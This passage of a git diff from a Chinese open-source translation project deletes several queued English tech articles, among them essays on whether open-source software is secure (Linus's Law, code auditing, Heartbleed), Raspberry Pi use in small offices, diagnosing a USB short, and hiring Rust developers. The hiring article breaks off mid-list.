[↩︎][47] - - 17. Steve Crocker. Personal interview. [↩︎][48] - - 18. Hafner, p. 146. [↩︎][49] - - 19. “Completion Report / A History of the ARPANET: The First Decade.” BBN Report No. 4799, April 1981, , p. II-13. [↩︎][50] - - 20. I’m referring here to RFC 54, “Official Protocol Proffering.” [↩︎][51] - - 21. Hafner, p. 175. [↩︎][52] - - 22. “Completion Report / A History of the ARPANET: The First Decade,” p. II-29. [↩︎][53] - - - - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2021/02/07/arpanet.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: https://en.wikipedia.org/wiki/ARPANET -[2]: tmp.pnPpRrCI3S#fn:1 -[3]: tmp.pnPpRrCI3S#fn:2 -[4]: tmp.pnPpRrCI3S#fn:3 -[5]: tmp.pnPpRrCI3S#fn:4 -[6]: tmp.pnPpRrCI3S#fn:5 -[7]: tmp.pnPpRrCI3S#fn:6 -[8]: tmp.pnPpRrCI3S#fn:7 -[9]: tmp.pnPpRrCI3S#fn:8 -[10]: https://archive.computerhistory.org/resources/access/text/2019/07/102784024-05-001-acc.pdf -[11]: tmp.pnPpRrCI3S#fn:9 -[12]: tmp.pnPpRrCI3S#fn:10 -[13]: tmp.pnPpRrCI3S#fn:11 -[14]: tmp.pnPpRrCI3S#fn:12 -[15]: tmp.pnPpRrCI3S#fn:13 -[16]: tmp.pnPpRrCI3S#fn:14 -[17]: https://twobithistory.org/2018/05/27/semantic-web.html -[18]: https://twobithistory.org/2018/12/18/rss.html -[19]: https://twobithistory.org/2020/01/05/foaf.html -[20]: tmp.pnPpRrCI3S#fn:15 -[21]: tmp.pnPpRrCI3S#fn:16 -[22]: tmp.pnPpRrCI3S#fn:17 -[23]: tmp.pnPpRrCI3S#fn:18 -[24]: tmp.pnPpRrCI3S#fn:19 -[25]: tmp.pnPpRrCI3S#fn:20 -[26]: tmp.pnPpRrCI3S#fn:21 -[27]: tmp.pnPpRrCI3S#fn:22 -[28]: https://twitter.com/TwoBitHistory -[29]: https://twobithistory.org/feed.xml -[30]: https://twitter.com/TwoBitHistory/status/1277259930555363329?ref_src=twsrc%5Etfw -[31]: tmp.pnPpRrCI3S#fnref:1 -[32]: tmp.pnPpRrCI3S#fnref:2 -[33]: tmp.pnPpRrCI3S#fnref:3 -[34]: tmp.pnPpRrCI3S#fnref:4 -[35]: tmp.pnPpRrCI3S#fnref:5 -[36]: https://www3.hilton.com/resources/media/hi/DCAWHHH/en_US/pdf/DCAWH.Floorplans.Apr25.pdf -[37]: tmp.pnPpRrCI3S#fnref:6 -[38]: tmp.pnPpRrCI3S#fnref:7 -[39]: tmp.pnPpRrCI3S#fnref:8 -[40]: tmp.pnPpRrCI3S#fnref:9 -[41]: tmp.pnPpRrCI3S#fnref:10 -[42]: tmp.pnPpRrCI3S#fnref:11 -[43]: tmp.pnPpRrCI3S#fnref:12 -[44]: tmp.pnPpRrCI3S#fnref:13 -[45]: tmp.pnPpRrCI3S#fnref:14 -[46]: tmp.pnPpRrCI3S#fnref:15 -[47]: tmp.pnPpRrCI3S#fnref:16 -[48]: tmp.pnPpRrCI3S#fnref:17 -[49]: tmp.pnPpRrCI3S#fnref:18 -[50]: tmp.pnPpRrCI3S#fnref:19 -[51]: tmp.pnPpRrCI3S#fnref:20 -[52]: tmp.pnPpRrCI3S#fnref:21 -[53]: tmp.pnPpRrCI3S#fnref:22 diff --git a/sources/talk/20210209 Understanding Linus-s Law for open source security.md b/sources/talk/20210209 Understanding Linus-s Law for open source security.md deleted file mode 100644 index bbaf38fdb0..0000000000 --- a/sources/talk/20210209 Understanding Linus-s Law for open source security.md +++ /dev/null @@ -1,90 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Understanding Linus's Law for open source security) -[#]: via: (https://opensource.com/article/21/2/open-source-security) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Understanding Linus's Law for open source security -====== -Linus's Law is that given enough eyeballs, all bugs are shallow. How -does this apply to open source software security? -![Hand putting a Linux file folder into a drawer][1] - -In 2021, there are more reasons why people love Linux than ever before. In this series, I'll share 21 different reasons to use Linux. This article discusses Linux's influence on the security of open source software. - -An often-praised virtue of open source software is that its code can be reviewed (or "audited," as security professionals like to say) by anyone and everyone. However, if you actually ask many open source users when the last time they reviewed code was, you might get answers ranging from a blank stare to an embarrassed murmur. And besides, there are some really big open source applications out there, so it can be difficult to review every single line of code effectively. - -Extrapolating from these slightly uncomfortable truths, you have to wonder: When nobody looks at the code, does it really matter whether it's open or not? - -### Should you trust open source? - -We tend to make a trite assumption in hobbyist computing that open source is "more secure" than anything else. We don't often talk about what that means, what the basis of comparison is ("more" secure than what?), or how the conclusion has even been reached. It's a dangerous statement to make because it implies that as long as you call something _open source_, it automatically and magically inherits enhanced security. That's not what open source is about, and in fact, it's what open source security is very much against. - -You should never assume an application is secure unless you have personally audited and understood its code. Once you have done this, you can assign _ultimate trust_ to that application. Ultimate trust isn't a thing you do on a computer; it's something you do in your own mind: You trust software because you choose to believe that it is secure, at least until someone finds a way to exploit that software. - -You're the only person who can place ultimate trust in that code, so every user who wants that luxury must audit the code for themselves. Taking someone else's word for it doesn't count! - -So until you have audited and understood a codebase for yourself, the maximum trust level you can give to an application is a spectrum ranging from approximately, _not trustworthy at all_ to _pretty trustworthy_. There's no cheat sheet for this. It's a personal choice you must make for yourself. If you've heard from people you strongly trust that an application is secure, then you might trust that software more than you trust something for which you've gotten no trusted recommendations. - -Because you cannot audit proprietary (non-open source) code, you can never assign it _ultimate trust_. - -### Linus's Law - -The reality is, not everyone is a programmer, and not everyone who is a programmer has the time to dedicate to reviewing hundreds and hundreds of lines of code. So if you're not going to audit code yourself, then you must choose to trust (to some degree) the people who _do_ audit code. - -So exactly who does audit code, anyway? - -Linus's Law asserts that _given enough eyeballs, all bugs are shallow_, but we don't really know how many eyeballs are "enough." However, don't underestimate the number. Software is very often reviewed by more people than you might imagine. The original developer or developers obviously know the code that they've written. However, open source is often a group effort, so the longer code is open, the more software developers end up seeing it. A developer must review major portions of a project's code because they must learn a codebase to write new features for it. - -Open source packagers also get involved with many projects in order to make them available to a Linux distribution. Sometimes an application can be packaged with almost no familiarity with the code, but often a packager gets familiar with a project's code, both because they don't want to sign off on software they don't trust and because they may have to make modifications to get it to compile correctly. Bug reporters and triagers also sometimes get familiar with a codebase as they try to solve anomalies ranging from quirks to major crashes. Of course, some bug reporters inadvertently reveal code vulnerabilities not by reviewing it themselves but by bringing attention to something that obviously doesn't work as intended. Sysadmins frequently get intimately familiar with the code of an important software their users rely upon. Finally, there are security researchers who dig into code exclusively to uncover potential exploits. - -### Trust and transparency - -Some people assume that because major software is composed of hundreds of thousands of lines of code, it's basically impossible to audit. Don't be fooled by how much code it takes to make an application run. You don't actually have to read millions of lines. Code is highly structured, and exploitable flaws are rarely just a single line hidden among the millions of lines; there are usually whole functions involved. - -There are exceptions, of course. Sometimes a serious vulnerability is enabled with just one system call or by linking to one flawed library. Luckily, those kinds of errors are relatively easy to notice, thanks to the active role of security researchers and vulnerability databases. - -Some people point to bug trackers, such as the [Common Vulnerabilities and Exposures (CVE)][2] website, and deduce that it's actually as plain as day that open source isn't secure. After all, hundreds of security risks are filed against lots of open source projects, out in the open for everyone to see. Don't let that fool you, though. Just because you don't get to see the flaws in closed software doesn't mean those flaws don't exist. In fact, we know that they do because exploits are filed against them, too. The difference is that _all_ exploits against open source applications are available for developers (and users) to see so those flaws can be mitigated. That's part of the system that boosts trust in open source, and it's wholly missing from proprietary software. - -There may never be "enough" eyeballs on any code, but the stronger and more diverse the community around the code, the better chance there is to uncover and fix weaknesses. - -### Trust and people - -In open source, the probability that many developers, each working on the same project, have noticed something _not secure_ but have all remained equally silent about that flaw is considered to be low because humans rarely mutually agree to conspire in this way. We've seen how disjointed human behavior can be recently with COVID-19 mitigation: - - * We've all identified a flaw (a virus). - * We know how to prevent it from spreading (stay home). - * Yet the virus continues to spread because one or more people deviate from the mitigation plan. - - - -The same is true for bugs in software. If there's a flaw, someone noticing it will bring it to light (provided, of course, that someone sees it). - -However, with proprietary software, there can be a high probability that many developers working on a project may notice something not secure but remain equally silent because the proprietary model relies on paychecks. If a developer speaks out against a flaw, then that developer may at best hurt the software's reputation, thereby decreasing sales, or at worst, may be fired from their job. Developers being paid to work on software in secret do not tend to talk about its flaws. If you've ever worked as a developer, you've probably signed an NDA, and you've been lectured on the importance of trade secrets, and so on. Proprietary software encourages, and more often enforces, silence even in the face of serious flaws. - -### Trust and software - -Don't trust software you haven't audited. - -If you must trust software you haven't audited, then choose to trust code that's exposed to many developers who independently are likely to speak up about a vulnerability. - -Open source isn't inherently more secure than proprietary software, but the systems in place to fix it are far better planned, implemented, and staffed. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/open-source-security - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/yearbook-haff-rx-linux-file-lead_0.png?itok=-i0NNfDC (Hand putting a Linux file folder into a drawer) -[2]: https://cve.mitre.org diff --git a/sources/talk/20210718 Is Open-Source Software Secure.md b/sources/talk/20210718 Is Open-Source Software Secure.md deleted file mode 100644 index d6d249b54b..0000000000 --- a/sources/talk/20210718 Is Open-Source Software Secure.md +++ /dev/null @@ -1,163 +0,0 @@ -[#]: subject: (Is Open-Source Software Secure?) -[#]: via: (https://news.itsfoss.com/open-source-software-security/) -[#]: author: (Ankush Das https://news.itsfoss.com/author/ankush/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Is Open-Source Software Secure? -====== - -Being someone who prefers [Linux for desktop][1] and encourages using open-source software, you may expect the answer to the question raised in the headline with a big “**Yes**“. - -But I am not going to limit discussing the benefits of open-source software. Let us explore more! - -Here, I plan to share my thoughts on if open-source software is secure and what are the things involved in it that make secure or insecure. - -### Why Should You Care if Open-Source Software is Secure? - -No matter whether you use [Linux][2] or any other operating system, you will be surrounded with open-source software in some way (directly/indirectly). - -To give you an example, most of the proprietary software tools depend on some form of open-source libraries to make things work. - -Furthermore, there is a reason why companies of various scale (including Google, Microsoft, and Facebook) rely on open-source software or contribute their resources to the open-source community in one way or the other. - -Hence, the security of open-source software is something essential to know about. - -### Myths About Open-Source Software Security - -![][3] - -While there are several arguments to pitch the cons of open-source software in terms of security, some of them just do not make any sense. - -#### Anyone Can See & Exploit the Code - -The code is accessible to everyone, yes. But just because you can see the code—does that mean anyone can exploit it? - -**Not really.** - -Even though anyone can create a fork (or copy) of the software, the original software cannot be manipulated easily. - -Usually, the project maintainer (or a group of them) manage the code repository and accept the commits from contributors. The code is reviewed before approval. And no one can hijack the code just like that. - -**It takes effort for an attacker to exploit a vulnerability or add malicious code in a software, no matter if it is open-source or closed source.** - -#### Without Dedicated Resources, Security Breaks down - -Many believe that without dedicated employees or a team for an open-source software, it is difficult to maintain security. - -In contrast, with several types of contributors joining and leaving, the software gets more attention from a wide range of developers. - -And they may be able to spot security issues better than a few employees assigned for a proprietary software. - -Some projects from the likes of Mozilla have a dedicated team to effectively iron out security issues. Similarly, most of the successful open source projects have plenty of resources to dedicate for security. - -Hence, the open-source software ecosystem is a mixed bag for security. Even without dedicated resources, the projects get help from various contributors, and some are profitable to a great extent which helps them dedicate more resources. - -### Open Source Software is Secure: Here’s How - -![][3] - -Now that we have tackled the myths, let me highlight how open-source software deals with security issues. - -In other words, the benefits in security with open-source software. - -Not to forget, the perks of open-source software translate to some of the reasons why [Linux is better than Windows][4]. - -#### More Eyes Looking at the Code - -Unlike a proprietary software, access to code is not limited to a few developers. - -Some projects may even have thousands of developers watching the code, reviewing them, and flagging or fixing security issues. - -And this gives an edge over closed-source software by having **the ability to identify issues quickly and addressing them as soon as possible.** - -Not just limited to more developers, often enterprises get involved with open-source projects that they utilize. And when they do, they will also go through the code and review it. - -This gives another source of external audit that may help improve the security of the software. - -In contrast, with a closed-source software, a limited number of developers may not be able to find all kinds of security issues. And it may take them longer to fix all the issues one by one. - -#### Community Decision Making to Prioritize Security Issues - -The developers of a closed-source software may have certain restrictions and priorities as what to work on and when to resolve an issue. - -However, in case of an open-source project, the community of contributors can prioritize and assign themselves what they want to work on and when to fix an issue. You do not need to depend on a vendor or follow their instructions to address a security issue. - -The decision making that goes into addressing and fixing the security issues is more transparent and flexible in case of an open-source software. Hence, it can prove to be more effective leaving you with three specific benefits: - - * **Transparency** - * **No dependency on the vendor** - * **Faster security updates** - - - -### Open Source Software is not Bulletproof: Here’s Why - -![][3] - -While there are cases where open-source software may get an edge for security, there could be instances or factors that affects it. - -It is important to acknowledge that these problems exist, accordingly, an enterprise or an individual can make better decision about the state of security for an open-source software. - -#### Not enough Eyes to Review Code and Uncertainty - -Even if the code is accessible the world of developers, there are chances that a **project does not have enough contributors/developers to thoroughly review the code**. - -In that case, we cannot have great confidence of an open-source software being peer-reviewed, because it lacks exactly that. - -The open-source software may “claim” to have the best security just because its open-source, which is misleading when there are not enough developers working on it. - -Also, we do not know how many developers are looking/reviewing the code and how exactly the code walkthrough is going on. - -For instance, the Heartbleed bug was spotted after 2 years of its introduction in a project that was already popular i.e **OpenSSL**. - -#### Software Responsibility or Accountability - -This may not be important for individuals, but an **open-source software often comes with no warranties**. - -So, if a business uses it, they must take the responsibility of any losses or damages caused by the use of that software. - -This is something that tells you that nothing can be 100% secure and bug-free. No matter how many eyes you have on a code, or how skilled the contributors are, there will be risks in some form, be it security or data loss. - -And this brings us to the fact that open-source software is not bulletproof. - -### Open Source May Have its Edge for Better Security But… - -Nothing is superior when it comes to security. No matter if it is closed-source or open-source, the same set of principles apply when it comes to security. - -There are various external factors that can affect the security of a software, and **many of those are not source dependent**. - -The code must be monitored in the same way to keep things secure. - -Yes, the **open-source approach introduces benefits that closed-source software will never have**, but that does not mean that it is bulletproof. - -_What do you think about the state of security when it comes to open-source software?_ _Do you think it is superior to proprietary solutions?_ - -I would appreciate your valuable thoughts in the comments down below. - -#### Big Tech Websites Get Millions in Revenue, It's FOSS Got You! - -If you like what we do here at It's FOSS, please consider making a donation to support our independent publication. Your support will help us keep publishing content focusing on desktop Linux and open source software. - -I'm not interested - --------------------------------------------------------------------------------- - -via: https://news.itsfoss.com/open-source-software-security/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://news.itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://news.itsfoss.com/linux-foundation-linux-desktop/ -[2]: https://itsfoss.com/what-is-linux-distribution/ -[3]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjQzOSIgd2lkdGg9Ijc4MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= -[4]: https://itsfoss.com/linux-better-than-windows/ diff --git a/sources/talk/20220115 Why use a Raspberry Pi to power your business.md b/sources/talk/20220115 Why use a Raspberry Pi to power your business.md deleted file mode 100644 index a01a8f45b3..0000000000 --- a/sources/talk/20220115 Why use a Raspberry Pi to power your business.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: subject: "Why use a Raspberry Pi to power your business" -[#]: via: "https://opensource.com/article/22/1/raspberry-pi-business" -[#]: author: "Giuseppe Cassibba https://opensource.com/users/peppe8o" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Why use a Raspberry Pi to power your business -====== -Why small, single-board computers can be the future for smart working -and small offices. -![A chair in a field.][1] - -With the pandemic changing the way we're working, job decentralization is becoming an important challenge for all companies. - -### Smart offices - -Even if every factory approached smart working only as remoting the employee notebook through a VPN, adding evolution brings some basic office services as nearest as possible to people. This could drastically reduce the datacenter's load and improve people's working experience. An additional effect is removing many single-point-of-failures from information and communications technology (ICT) in this scenario. - -Instead of hundreds or thousands of workplaces outside the company, it's like having hundreds or thousands of small offices/branches around the world. It's what one might call **smart offices**. - -This statement may frighten many ICT experts because of the culture, which associates a big machine (server) to each office, even if the advantages of spreading computing resources are clear. - -### A different perspective - -What if you could deliver the services of a big server from a tiny US$ 50 board? What if this tiny board requires only an SD card and an ordinary USB power supply? Here's where the [Raspberry Pi][2] is the most flexible solution. - -Raspberry Pi computer boards are very small form factor computers running Linux. They have an OS delivered and maintained from Raspberry Pi Foundation—the Raspberry Pi OS. Based on Debian, it shares many software packages with the most known Linux distributions. Moreover, many Raspberry Pi boards can flawlessly run the most famous Ubuntu server. They include ARM processors, which grant low energy consumption. - -**[ Read next: [7 ways to use Raspberry Pi in enterprise IT][3] ]** - -But Raspberry Pi computer boards are a great opportunity also for small companies, bringing tons of (open source) services at affordable costs. Here, you have to consider data loss risks, as you have all your services in small consumer-grade hardware. But setting up the right backup/restore procedures can reduce these risks. - -### What services can you provide from a Raspberry Pi board? - -Most services usually get delivered from more expensive servers. The "most" attribute depends on some restrictions: - - * **ARM processor:** Some packages are available only for X86/X64 processors. This is one of the hardest challenges to overcome. On the other hand, the increasing market share for ARM processors keeps programmers having ARM-compatible versions of their software. - * **RAM amount:** This is a problem limited to some complex applications running complex calculations in a sophisticated manner. Many times, it's just a matter of revisiting the code, splitting steps, and keeping it simple and efficient. Moreover, if a service requires a lot of RAM/CPU for a few users, this may also mean that the service is not working correctly, and it could be an opportunity for you to remove old problems that are wasting resources. Finally, the latest Raspberry Pi computer boards upgraded the RAM amount up to 8GB, which is a lot. - * **Users who are inexperienced with servers:** This is another problem you can approach with base images inside the micro-SD cards on which Raspberry Pi stores the OS and running data. - - - -That said, you can do many interesting things with a Raspberry Pi. In [my blog][4], I've tested this by running all kinds of services—from a basic LAMP server to a complex CRM. Passing through some complex systems, all open source, like: - - * Proxy server (also capable to add ad-blocker services) - * Email server - * Printing server - * [Hotel management][5] - * Contact relations management - * [Private social network][6] - * Private forum - * Private Git web portal - * Network monitoring server - * [And many other useful services][7] - - - -Another interesting opportunity for Raspberry Pi in your remote office is to get a WiFi hotspot offering advanced services and control from its Ethernet port.  - -Finally, [Raspberry Pi can also run containers][8], an additional tool to get a world of services available from this incredible board. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/22/1/raspberry-pi-business - -作者:[Giuseppe Cassibba][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/peppe8o -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BIZ_WorkInPublic_4618517_1110_CS_A.png?itok=RwVrWArk (A chair in a field.) -[2]: https://opensource.com/resources/raspberry-pi -[3]: https://enterprisersproject.com/article/2020/11/raspberry-pi-7-enterprise-it-uses -[4]: https://peppe8o.com -[5]: https://opensource.com/article/20/4/qloapps-raspberry-pi -[6]: https://opensource.com/article/20/3/raspberry-pi-open-source-social -[7]: https://peppe8o.com/category/raspberrypi/ -[8]: https://opensource.com/article/20/8/kubernetes-raspberry-pi diff --git a/sources/talk/20220118 How curiosity helped me solve a hardware problem.md b/sources/talk/20220118 How curiosity helped me solve a hardware problem.md deleted file mode 100644 index eb1efd0073..0000000000 --- a/sources/talk/20220118 How curiosity helped me solve a hardware problem.md +++ /dev/null @@ -1,101 +0,0 @@ -[#]: subject: "How curiosity helped me solve a hardware problem" -[#]: via: "https://opensource.com/article/22/1/troubleshoot-hardware-sysadmin" -[#]: author: "David Both https://opensource.com/users/dboth" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How curiosity helped me solve a hardware problem -====== -Curiosity fuels the quest for knowledge and truth, whether it's about -hardware, open source software, programming, building a PC, optimizing -settings, or just learning a new application. -![Puzzle pieces coming together to form a computer screen][1] - -I typically have a dozen computers up and running on my home network—yes, 12. And I am responsible for several more in other locations. With so many computers, there are always failures of various types, and I ultimately diagnose many of them as hardware problems. But it can be difficult to diagnose which hardware component is causing the issue. - -Just this week, I had a perplexing problem that I misdiagnosed the cause of on my primary workstation—twice. This article takes you through the process I followed. I show you where and why I went down the wrong path and how easy it can be to do so. - -### The first symptoms - -I have been working on several projects. Recently, I had many applications open on multiple desktops and was just starting to work when the display went blank. Most (not all) of the fans in my primary workstation came to a stop, and I sucked in a deep breath. I'd never seen anything quite like this before, but I did know that my system was in trouble. - -There were two primary clues I had to work with. The display went dark, and several fans had stopped. However, the front-panel power and disk activity LEDs were still on, although at a lower brightness level than usual. Most of the decorative RGB LED lights on my motherboard, memory DIMMs, and fans also went out. - -I tried the power and reset buttons with no results. I turned off the power supply directly using the PSU rocker switch. Powering it back on resulted in the same set of symptoms. - -### Initial thoughts - -These symptoms and decades of experience with all kinds of failures pointed me to the power supply. - -I removed the power supply and used my PSU tester to check it. The tester indicated that the PSU was good, and all voltages were within specs. However, I knew the tester could be wrong. PSU testers do not test under full load conditions such as those that exist when the computer is running and drawing a few hundred watts of power. I went with my gut and installed my spare 1000W power supply. - -With an average of 12 computers in my home network, I have learned to keep plenty of spare parts on hand. It saves a lot of frustration that I don't have to run to the local computer store or order online and wait for delivery when things break—and things are always breaking with that many computers around. - -That replacement power supply solved the problem despite the result I got from the PSU tester. Even though the tester has been correct many times in the past, my experience, my knowledge, and my gut told me differently. - -Unfortunately, my gut instinct was wrong. - -### Second thoughts - -My workstation was exhibiting the same symptoms again. It is very unlikely that two different PSUs would fail exactly the same way. - -Next idea: It had to be the motherboard. I don't keep spare motherboards around, so I ordered a new one online and figured that I could use extra memory I already had and move the CPU to the new motherboard along with its all-in-one liquid cooling unit. - -### Disciplined troubleshooting - -The new motherboard would take a couple of days to arrive, so I decided to prepare by removing the old one from the workstation. But before I unplugged the power feeds to the motherboard, my curiosity took over and forced me to power on the system with only the motherboard, CPU, and memory installed. I had disconnected everything else. - -Good troubleshooting demands that you isolate all potential variables, and all I'd done so far was test the PSU. I had to test every component. - -This process required me to disconnect the front panel cables for sound and the dashboard media panel that includes various USB, SATA, and memory card slots. - -With just the motherboard connected, I got a surprise: Everything worked as normal! - -The computer itself wouldn't boot because there were no connected storage drives, and nothing was displayed because I had removed the display adapter. But there were no symptoms of either power or motherboard failure. That piqued my curiosity even more. If the motherboard were truly bad, the symptoms would still exist. - -So I started a sequence of powering off, reinstalling one of the removed components, and powering back on. - -It turns out that the front panel media dashboard caused the symptoms. - -I removed the media dashboard and plugged everything else back in. My workstation booted up properly and performed as expected. I had identified the culprit. - -### How it started - -Having figured out the actual problem, I immediately understood the root cause. It had started a couple of days previously. I was working with and testing several external USB devices, including various cameras, storage devices that I use for backups, and an external USB hub. - -I picked up one USB cable and plugged it into a USB 2.0 slot on the media dashboard. Everything ground to a halt, and most of the lights and fans went out. I unplugged the USB cable, which was now very hot, and burned my fingers. I had inadvertently plugged the type C end into the USB 3.0 type A socket, which had shorted the power. - -After unplugging the USB cable, everything went back to "normal"—except it didn't. The media dashboard lasted a few more days and then shorted out completely, having been weakened by my careless mistake. - -### Jumping to conclusions - -Knowledge and experience can sometimes count for more than tools like PSU testers. Except when they don't. I eventually found the actual cause of the problem, but I should have seen it sooner. - -Although I was correct about this being a power problem, I was sidetracked by not correctly reading the symptoms and following that line of inquiry to its logical conclusion. I could have isolated the true cause of the problem sooner than I did and saved the time I spent configuring my laptop to be a temporary primary device until I could fix my primary workstation. - -Sysadmins work with complex devices, and it can be easy to jump to conclusions. I have over 50 years of experience in the computer industry, and I still do it. I just need to remember to take a few deep [yoga breaths][2] and keep digging until I isolate the root cause of the problem. - -### Curiosity - -At least I followed my curiosity while waiting for the replacement motherboard to arrive. That allowed me to return things to normal much sooner than had I waited until the new motherboard arrived. And I might have discarded a perfectly good motherboard by not testing it further. - -There is a saying about curiosity killing the cat. I hate that saying because it is all too frequently used by parents, colleagues, pointy-haired bosses, teachers, and others who just want us curious folk to leave them alone. In reality, curiosity fuels the quest for knowledge and truth, whether it's about hardware, open source software, programming, building a PC, optimizing settings, or just learning a new application. Feed your curiosity! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/22/1/troubleshoot-hardware-sysadmin - -作者:[David Both][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dboth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) -[2]: https://opensource.com/article/21/11/linux-yoga diff --git a/sources/talk/20220204 How we hired an open source developer.md b/sources/talk/20220204 How we hired an open source developer.md deleted file mode 100644 index bfdefe20a0..0000000000 --- a/sources/talk/20220204 How we hired an open source developer.md +++ /dev/null @@ -1,104 +0,0 @@ -[#]: subject: "How we hired an open source developer" -[#]: via: "https://opensource.com/article/22/2/how-we-hired-open-source-developer" -[#]: author: "Mike Bursell https://opensource.com/users/mikecamel" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How we hired an open source developer -====== -My team opted out of the standard algorithm coding exercise for a -process that yielded more relevant results. -![people in different locations who are part of the same team][1] - -As the CEO and co-founder of [Profian][2], a start-up security company, I've been part of our effort to hire developers to work on [Enarx][3], a security project that deals with confidential computing, written almost exclusively in [Rust][4] (with a bit of Assembly). Profian has now found all the people it was looking for in this search, with a couple of developers due to start in the next few weeks. However, new contributors are absolutely welcome to Enarx, and if things continue to go well, the company will definitely want to hire more folks in the future. - -Hiring people is not easy, and Profian had a set of specialized requirements that made the task even more difficult. I thought it would be useful and interesting for the community to share how we approached the problem. - -### What were we looking for? - -These are the specialized requirements I'm talking about: - - * **Systems programming:** Profian mainly needs people who are happy programming at the systems layer. This is pretty far down the stack, with lots of interactions directly with hardware or the OS. To create client-server pieces, for instance, we have to write quite a lot of the protocols, manage the crypto, and so forth, and the tools for this aren't all very mature (see "Rust" below). - - * **Rust:** Almost all of the project is written in Rust, and what isn't is written in Assembly language (currently exclusively x86, though that may change as we add more platforms). Rust is new, cool, and exciting, but it's still quite young, and some areas don't have all the support you might like or aren't as mature as you'd hope—everything from cryptography through multithreading libraries and compiler/build infrastructure. - - * **Distributed team:** Profian is building a team of folks where we can find them. Profian has developers in Germany, Finland, the Netherlands, North Carolina (US), Massachusetts (US), Virginia (US), and Georgia (US). I'm in the United Kingdom, our community manager is in Brazil, and we have interns in India and Nigeria. We knew from the beginning that we wouldn't have everyone in one place, and this required people who would be able to communicate and collaborate with people via video, chat, and (at worst) email. - - * **Security:** Enarx is a security project. Although we weren't specifically looking for security experts, we need people who can think and work with security top of mind and design and write code that is applicable and appropriate for the environment. - - * **Git:** All of our code is stored in git (mainly [GitHub][5], with a bit of GitLab thrown in). so much of our interaction around code revolves around git that anybody joining us would need to be very comfortable using it as a standard tool in their day-to-day work. - - * **Open source:** Open source isn't just a licence; it's a mindset and, equally important, a way of collaborating. A great deal of open source software is created by people who aren't geographically co-located and who might not even see themselves as a team. We needed to know that the people we hired, while gelling as a close team within the company, would be able to collaborate with people outside the organisation and embrace Profian's "open by default" culture, not just for code, but for discussions, communications, and documentation. - - - - -### How did we find them? - -As I've mentioned elsewhere, [recruiting is hard][6]. Profian used a variety of means to find candidates, with varying levels of success: - - * LinkedIn job adverts - * LinkedIn searches - * Language-specific discussion boards and hiring boards (e.g., Reddit) - * An external recruiter (shout out to Gerald at [Interstem][7]) - * Word-of-mouth/personal recommendations - - - -It's difficult to judge between these sources in terms of quality, but without an external recruiter, we'd certainly have struggled with quantity (and we had some great candidates from that pathway, too). - -### How did we select them? - -We needed to measure all of the candidates against all of the requirements noted above, but not all of them were equal. For instance, although we were keen to hire Rust programmers, someone with strong C/C++ skills at the systems level would be able to pick up Rust quickly enough to be useful. On the other hand, a good knowledge of using git was absolutely vital, as we couldn't spend time working with new team members to bring them up to speed on our way of working. - -A strong open source background was, possibly surprisingly, not a requirement, but the mindset to work in that sort of model was, and anyone with a history of open source involvement is likely to have a good knowledge of git. The same goes for the ability to work in a distributed team: So much of open source is distributed that involvement in almost any open source community was a positive indicator. Security, we decided, was a "nice-to-have" qualification. - -We wanted to keep the process simple and quick. Profian doesn't have a dedicated HR or People function, and we're busy trying to get code written. This is what we ended up with (with slight variations), and we tried to complete it within 1-2 weeks: - - 1. Initial CV/resume/GitHub/GitLab/LinkedIn review to decide whether to interview - 2. 30-40 minute discussion with me as CEO, to find out if they might be a good cultural fit, to give them a chance to find out about us, and to get an idea if they were as technically adept as they appeared in Step 1 - 3. Deep dive technical discussion led by Nathaniel, usually with me there - 4. Chat with other members of the team - 5. Coding exercise - 6. Quick decision (usually within 24 